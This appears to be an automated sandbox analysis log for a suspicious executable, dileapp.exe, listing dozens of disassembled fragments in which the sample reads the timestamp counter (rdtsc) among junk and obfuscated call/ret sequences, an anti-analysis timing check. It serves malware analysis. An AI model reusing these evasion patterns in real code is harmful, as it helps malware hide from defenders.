Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D8112 second address: 11D8118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D83FE second address: 11D8408 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D86AD second address: 11D86B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D86B3 second address: 11D86C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jne 00007FCCB0D02D06h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11DD250 second address: 11DD254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E3986 second address: 11E398F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E398F second address: 11E399E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFDAh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E3DC8 second address: 11E3DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E3DCC second address: 11E3DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E654E second address: 11E655C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E655C second address: 11E65A5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jo 00007FCCB120DFD8h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007FCCB120DFE2h 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c js 00007FCCB120DFFAh 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FCCB120DFE8h 0x00000029 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E65A5 second address: 11E65A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E65A9 second address: 11E65F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FCCB120DFD8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov di, bx 0x00000024 push 907B0369h 0x00000029 push eax 0x0000002a push edx 0x0000002b jne 00007FCCB120DFECh 0x00000031 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6906 second address: 11E6914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCCB0D02D06h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6A9D second address: 11E6AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FCCB120DFD6h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E71AF second address: 11E71B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E7404 second address: 11E7409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E7409 second address: 11E741D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FCCB0D02D08h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E7506 second address: 11E750C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E750C second address: 11E7510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E76F5 second address: 11E76F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E76F9 second address: 11E7703 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E7703 second address: 11E7724 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FCCB120DFE4h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E785D second address: 11E7862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E8787 second address: 11E8817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FCCB120DFD6h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d pushad 0x0000000e jl 00007FCCB120DFDCh 0x00000014 jnp 00007FCCB120DFD6h 0x0000001a jp 00007FCCB120DFDCh 0x00000020 popad 0x00000021 nop 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 call 00007FCCB120DFD8h 0x0000002a pop esi 0x0000002b mov dword ptr [esp+04h], esi 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc esi 0x00000038 push esi 0x00000039 ret 0x0000003a pop esi 0x0000003b ret 0x0000003c jmp 00007FCCB120DFE4h 0x00000041 pushad 0x00000042 mov dh, 60h 0x00000044 mov dword ptr [ebp+13762927h], edi 0x0000004a popad 0x0000004b push 00000000h 0x0000004d mov edi, ecx 0x0000004f push 00000000h 0x00000051 mov dword ptr [ebp+13761905h], ecx 0x00000057 xchg eax, ebx 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FCCB120DFE6h 0x00000060 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E8817 second address: 11E884A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FCCB0D02D19h 0x00000010 jmp 00007FCCB0D02D13h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007FCCB0D02D0Ch 0x0000001f jne 00007FCCB0D02D06h 0x00000025 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E884A second address: 11E8854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FCCB120DFD6h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E9860 second address: 11E986D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FCCB0D02D06h 0x0000000d rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EA327 second address: 11EA34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 mov esi, dword ptr [ebp+137631DCh] 0x0000000e push 00000000h 0x00000010 stc 0x00000011 push 00000000h 0x00000013 sub si, 2CDCh 0x00000018 sub esi, 6470F37Ah 0x0000001e xchg eax, ebx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 js 00007FCCB120DFD6h 0x00000028 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EA0BF second address: 11EA0C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EB4AA second address: 11EB4CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCCB120DFE8h 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EA0C3 second address: 11EA0D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EB738 second address: 11EB73C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11ECAD6 second address: 11ECADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EE690 second address: 11EE6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FCCB120DFD8h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11ECADB second address: 11ECAE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FCCB0D02D06h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EE6A1 second address: 11EE710 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCCB120DFDCh 0x00000008 jnc 00007FCCB120DFD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FCCB120DFD8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007FCCB120DFD8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 push 00000000h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jmp 00007FCCB120DFDEh 0x00000052 pushad 0x00000053 popad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F083C second address: 11F084F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jno 00007FCCB0D02D06h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EF9F1 second address: 11EF9F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F084F second address: 11F0884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007FCCB0D02D06h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov dword ptr [ebp+138EBA35h], ecx 0x00000015 push 00000000h 0x00000017 adc di, 33BBh 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+13763641h], ecx 0x00000024 sbb ebx, 1EC5F118h 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c pushad 0x0000002d jp 00007FCCB0D02D06h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EF9F8 second address: 11EFA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FCCB120DFE7h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F0884 second address: 11F089A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007FCCB0D02D06h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F1959 second address: 11F195D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F0B0F second address: 11F0B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F195D second address: 11F196F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FCCB120DFD8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F0B19 second address: 11F0B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FCCB0D02D06h 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F196F second address: 11F19DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FCCB120DFE6h 0x0000000e add ebx, dword ptr [ebp+13762A38h] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FCCB120DFD8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov ebx, dword ptr [ebp+13762A28h] 0x00000036 js 00007FCCB120DFDEh 0x0000003c jno 00007FCCB120DFD8h 0x00000042 push 00000000h 0x00000044 mov dword ptr [ebp+137637D4h], esi 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jc 00007FCCB120DFD8h 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F19DA second address: 11F19E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F1B5E second address: 11F1B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F2C03 second address: 11F2C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F4909 second address: 11F490E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11A999F second address: 11A99A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F708A second address: 11F708E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F4BAD second address: 11F4BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F4BB1 second address: 11F4BB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F708E second address: 11F710F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FCCB0D02D0Ch 0x0000000d nop 0x0000000e movzx ebx, bx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FCCB0D02D08h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov dword ptr [ebp+137637CFh], eax 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FCCB0D02D08h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000015h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov dword ptr [ebp+1376379Dh], ecx 0x00000055 xchg eax, esi 0x00000056 ja 00007FCCB0D02D17h 0x0000005c push eax 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 push ebx 0x00000061 pop ebx 0x00000062 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F724E second address: 11F7253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F7253 second address: 11F72E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FCCB0D02D08h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov ebx, ecx 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov edi, dword ptr [ebp+138EDD63h] 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b cmc 0x0000003c mov eax, dword ptr [ebp+13760BC5h] 0x00000042 push 00000000h 0x00000044 push esi 0x00000045 call 00007FCCB0D02D08h 0x0000004a pop esi 0x0000004b mov dword ptr [esp+04h], esi 0x0000004f add dword ptr [esp+04h], 0000001Dh 0x00000057 inc esi 0x00000058 push esi 0x00000059 ret 0x0000005a pop esi 0x0000005b ret 0x0000005c jmp 00007FCCB0D02D18h 0x00000061 push FFFFFFFFh 0x00000063 sub dword ptr [ebp+137636B9h], edx 0x00000069 push eax 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F72E8 second address: 11F72EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FD53E second address: 11FD548 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FD548 second address: 11FD54C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FD54C second address: 11FD5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FCCB0D02D0Ch 0x0000000d nop 0x0000000e xor ebx, dword ptr [ebp+138F784Dh] 0x00000014 push 00000000h 0x00000016 jng 00007FCCB0D02D09h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007FCCB0D02D08h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 jmp 00007FCCB0D02D11h 0x0000003d push eax 0x0000003e pushad 0x0000003f push esi 0x00000040 ja 00007FCCB0D02D06h 0x00000046 pop esi 0x00000047 push eax 0x00000048 push edx 0x00000049 push ecx 0x0000004a pop ecx 0x0000004b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FE501 second address: 11FE507 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FB6E3 second address: 11FB6E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FB6E9 second address: 11FB6EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FF434 second address: 11FF438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FF438 second address: 11FF43C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F8143 second address: 11F8175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCCB0D02D18h 0x00000008 jmp 00007FCCB0D02D0Eh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FF43C second address: 11FF442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F8175 second address: 11F8179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FF442 second address: 11FF447 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F8179 second address: 11F817D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FF447 second address: 11FF48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FCCB120DFD8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+13762430h] 0x0000002a push 00000000h 0x0000002c mov edi, dword ptr [ebp+13762E61h] 0x00000032 push 00000000h 0x00000034 mov ebx, eax 0x00000036 push eax 0x00000037 pushad 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F824B second address: 11F824F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F824F second address: 11F825C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12002CA second address: 12002CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
